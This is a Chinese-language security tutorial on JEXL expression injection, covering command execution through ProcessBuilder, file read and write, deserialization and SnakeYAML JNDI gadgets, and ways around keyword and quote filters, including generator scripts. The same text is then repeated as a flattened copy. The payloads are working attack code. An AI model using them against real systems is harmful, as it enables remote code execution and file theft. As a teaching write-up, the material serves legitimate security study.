Jexl 表达式注入分析与bypass
字数 1059 2025-08-22 22:47:39

Jexl 表达式注入分析与Bypass技术详解

0x00 前言

本文深入分析Jexl表达式注入漏洞,探讨在过滤了new(getforName等关键字的限制条件下如何进行有效利用。内容涵盖Jexl基础、多种利用方式、绕过技巧以及无引号Bypass技术。

0x01 Jexl基础介绍

Jexl简介

Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在Java应用程序中执行动态和灵活的表达式。JEXL旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。

基本用法

Maven依赖:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-jexl3</artifactId>
    <version>3.2</version>
</dependency>

基础示例:

JexlEngine engine = new JexlBuilder().create();
String exp = "1+1";
JexlExpression expression = engine.createExpression(exp);
Object evaluate = expression.evaluate(new MapContext());
System.out.println(evaluate);

自定义变量示例:

// 创建Jexl引擎
JexlEngine engine = new JexlBuilder().create();
// 创建表达式
String exp = "a + b + user.name";
JexlExpression expression = engine.createExpression(exp);
// 创建自定义上下文
Map<String, Object> variables = new HashMap<>();
variables.put("a", 10);
variables.put("b", 20);
// 创建一个用户对象
User user = new User("John Doe");
variables.put("user", user);
// 使用自定义上下文
JexlContext context = new MapContext(variables);
// 计算表达式
Object result = expression.evaluate(context);
// 输出结果
System.out.println("Result: " + result); // 输出 Result: 30John Doe

关键语法特性

  • new关键字允许在表达式中创建新的对象实例,语法为:new("java.lang.Double", 10)返回10.0
  • 注意:new的第一个参数可以为变量或者值为字符串或Class的表达式
  • 多构造函数情况下,JEXL会尝试调用最恰当的无歧义的构造方法

0x02 利用方式总结

命令执行

ProcessBuilder利用:

String[] cmd = new String[]{"open", "-a", "Calculator"};
ProcessBuilder p = new ProcessBuilder(cmd);
p.start();

转换为Jexl表达式时需要注意数组实例化问题:

  1. 直接尝试会失败:
new('java.lang.ProcessBuilder', new('java.lang.String[]','/bin/bash','-c','open -a Calculator')).start()
// 报错:unsolvable function/method 'java.lang.String[](String,String,String)'
  1. 正确方式:
  • 使用[]语法:
new('java.lang.ProcessBuilder', ['/bin/bash','-c','open -a Calculator']).start()
  • 使用split方法:
new('java.lang.ProcessBuilder','open -a Calculator'.split(' ')).start()

文件读写

读取文件:

  1. 直接使用Files类会失败(无法调用静态方法):
java.nio.file.Files.readAllBytes(new('java.io.File','/tmp/flag.txt').toPath())
// 输出null
  1. 替代方案(使用Scanner):
new('java.util.Scanner', new('java.io.File','/tmp/flag.txt')).useDelimiter('\\Z').next()

写入文件:

[a = new('java.io.FileOutputStream','1.txt'), a.write(116), a.write(101), a.write(115), a.write(116), a.close()]

批量写入脚本:

def newclass(cname, arg):
    payload = f'new("{cname}"'
    if type(arg) == str:
        payload += f', {arg}'
    else:
        for i in arg:
            if type(i) == bool or i.startswith('new'):
                payload += ", " + str(i).replace("True", "true")
            else:
                payload += ", \"" + i + '"'
    payload += ")"
    return payload

def base64_to_payload(base64_str):
    byte_data = base64.b64decode(base64_str)
    hex_str = byte_data.hex()
    res = ""
    for i in range(0, len(hex_str), 2):
        res += f", a.write({int(hex_str[i:i + 2], 16)})"
    print(res)
    return res

def writefile(filename, content):
    fw = newclass('java.io.FileOutputStream', [filename])
    payload = f'[a={fw}{content}, a.close()]'
    print(payload)

反序列化利用

  1. 写入反序列化数据(使用文件写入技术)
  2. 触发反序列化:
new('java.io.ObjectInputStream', new('java.io.FileInputStream','./payload.bin')).readObject()

结合其他组件利用

SnakeYAML利用:

new('org.yaml.snakeyaml.Yaml').load('!!com.sun.rowset.JdbcRowSetImpl{dataSourceName: ldap://127.0.0.1:7777/aa, autoCommit: true}')

0x03 简单Bypass技巧

  1. 空格绕过new ("java.lang.Object")(在new和括号间加空格)
  2. 数组实例化替代:使用split等函数生成数组
  3. 字符串拼接:当关键字被过滤时,使用字符串拼接如"runt"+"ime"

0x04 无引号Bypass技术

问题分析

当引号被过滤时面临的问题:

  1. 无法直接使用字符串
  2. 无法实例化类
  3. 无法调用普通方法
  4. JEXL无法直接调用静态方法

解决方案

  1. 获取String对象:
"a".class

无引号替代方案:

1.toString().class
  1. 获取Character对象:
1.toString().charAt(0).class
  1. 将int转换为char[]:
1.toString().charAt(0).toChars(121)
  1. 最终无引号字符串构造:
1.toString().valueOf(1.toString().charAt(0).toChars(121))

字符串生成方法:

public static String str2Expr(String str) {
    StringBuilder expr = new StringBuilder();
    for(int i = 0; i < str.length(); i++) {
        expr.append("1.toString().valueOf(1.toString().charAt(0).toChars(")
           .append((int)str.charAt(i)).append("))");
        if(i < str.length() - 1) {
            expr.append("+");
        }
    }
    return expr.toString();
}

实际利用示例

构造无引号ProcessBuilder:

String exp = "new(" + str2Expr("java.lang.ProcessBuilder") + ",[" + 
    str2Expr("/bin/bash") + "," + str2Expr("-c") + "," + 
    str2Expr("open -a Calculator") + "]).start()";

0x05 扩展思考

本文未覆盖但值得探索的方向:

  1. 反射调用技术
  2. 执行结果回显方法
  3. 内存马注入技术
  4. 更复杂的过滤绕过技术

这些方向留给读者自行研究和实践。

Jexl 表达式注入分析与Bypass技术详解 0x00 前言 本文深入分析Jexl表达式注入漏洞,探讨在过滤了 new( 、 get 、 forName 等关键字的限制条件下如何进行有效利用。内容涵盖Jexl基础、多种利用方式、绕过技巧以及无引号Bypass技术。 0x01 Jexl基础介绍 Jexl简介 Apache Commons JEXL(Java Expression Language)是一个开源的表达式语言引擎,允许在Java应用程序中执行动态和灵活的表达式。JEXL旨在提供一种简单、易用的方式,通过字符串形式的表达式进行计算和操作。 基本用法 Maven依赖 : 基础示例 : 自定义变量示例 : 关键语法特性 new 关键字允许在表达式中创建新的对象实例,语法为: new("java.lang.Double", 10) 返回10.0 注意: new 的第一个参数可以为变量或者值为字符串或Class的表达式 多构造函数情况下,JEXL会尝试调用最恰当的无歧义的构造方法 0x02 利用方式总结 命令执行 ProcessBuilder利用 : 转换为Jexl表达式时需要注意数组实例化问题: 直接尝试会失败: 正确方式: 使用 [] 语法: 使用 split 方法: 文件读写 读取文件 : 直接使用Files类会失败(无法调用静态方法): 替代方案(使用Scanner): 写入文件 : 批量写入脚本 : 反序列化利用 写入反序列化数据(使用文件写入技术) 触发反序列化: 结合其他组件利用 SnakeYAML利用 : 0x03 简单Bypass技巧 空格绕过 : new ("java.lang.Object") (在new和括号间加空格) 数组实例化替代 :使用 split 等函数生成数组 字符串拼接 :当关键字被过滤时,使用字符串拼接如 "runt"+"ime" 0x04 无引号Bypass技术 问题分析 当引号被过滤时面临的问题: 无法直接使用字符串 无法实例化类 无法调用普通方法 JEXL无法直接调用静态方法 解决方案 获取String对象: 无引号替代方案: 获取Character对象: 将int转换为char[ ]: 最终无引号字符串构造: 字符串生成方法 : 实际利用示例 构造无引号ProcessBuilder: 0x05 扩展思考 本文未覆盖但值得探索的方向: 反射调用技术 执行结果回显方法 内存马注入技术 更复杂的过滤绕过技术 这些方向留给读者自行研究和实践。